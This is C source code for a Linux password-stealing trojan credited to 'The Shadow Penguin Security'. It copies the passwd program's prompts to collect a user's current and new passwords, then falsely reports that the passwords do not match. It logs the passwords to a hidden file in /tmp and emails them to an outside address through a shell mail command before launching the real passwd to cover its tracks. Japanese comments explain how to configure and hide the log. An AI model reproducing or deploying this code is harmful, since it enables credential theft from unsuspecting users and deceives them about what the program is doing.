<![CDATA[/*=============================================================================
SU Trojan Ver2.00 for Linux
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
=============================================================================
*/
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
/* パスワードを通知するメアド */
/* 以下の1行を削除するとメール通知は行われません */
#define MAIL "hohoho@hacker.net"
/* ロギングファイル. 見つかりにくい名前に変更 */
#define LOGFILE "/tmp/.pl"
#define MSG_PERMERR "passwd: only root can supply a user's name\n"
#define MSG_BANNER "Changing password for %s\n"
#define MSG_OLDPASS "(current) UNIX password: "
#define MSG_BADOLDPASS "passwd: Authentication failure\n"
#define MSG_NEWPASS "New UNIX password: "
#define MSG_RENEWPAS "Retype new UNIX password: "
#define MSG_TOOSHORT "BAD PASSWORD: it's WAY too short\n"
#define MSG_MUSTDIFF "BAD PASSWORD: is too similiar to the old one\n"
#define MSG_INVALID "BAD PASSWORD: is too simple\n"
#define MSG_DONTMATCH "Sorry, passwords do not match\n"
#define TMPFILE "/tmp/.tmp"
#define MAX_USERNAME 200
#define MAX_PASSWD 200
main(int argc,char *argv[])
{
int uid=getuid();
struct passwd p;
char oldpasswd[MAX_PASSWD],newpasswd[MAX_PASSWD],renewpasswd[MAX_PASSWD];
char *getpass_sys(char *);
char username[MAX_USERNAME];
char buf[200];
FILE *fp;
int i,ct,l;
memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (argc==1)
strcpy(username,p.pw_name);
else{
printf(MSG_PERMERR);
exit(1);
}
printf(MSG_BANNER,username);
if (uid!=0){
strncpy(oldpasswd,getpass(MSG_OLDPASS),MAX_PASSWD-1);
oldpasswd[MAX_PASSWD-1]=0;
if (strlen(oldpasswd)==0){
printf(MSG_BADOLDPASS);
sleep(1);
exit(1);
}
}
for (;;){
strncpy(newpasswd,getpass_sys(MSG_NEWPASS),MAX_PASSWD-1);
newpasswd[MAX_PASSWD-1]=0;
if (strlen(newpasswd)<strlen(oldpasswd)) l=strlen(newpasswd);
else l=strlen(oldpasswd);
for (ct=0,i=0;i<l;i++)
if (newpasswd[i]!=oldpasswd[i]) ct++;
if (ct>=3) break;
else printf(MSG_MUSTDIFF);
}
strncpy(renewpasswd,getpass_sys(MSG_RENEWPAS),MAX_PASSWD-1);
renewpasswd[MAX_PASSWD-1]=0;
printf(MSG_DONTMATCH);
if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
#ifdef MAIL
if ((fp=fopen(TMPFILE,"w"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
sprintf(buf,"mail %s < %s",MAIL,TMPFILE);
system(buf);
remove(TMPFILE);
#endif
system("passwd");
}
char *getpass_sys(char *d)
{
static char *x;
int i,c1,c2;
for (;;){
x=(char *)getpass(d);
if (strlen(x)<6){
printf(MSG_TOOSHORT);
continue;
}
c1=c2=0;
for (i=0;i<strlen(x);i++){
if ((x[i]>='a' && x[i]<='x') || (x[i]>='A' && x[i]<='X')) c1++;
else c2++;
}
if (c1<2 || c2==0){
printf(MSG_INVALID);
continue;
}
break;
}
return (x);
}
]]>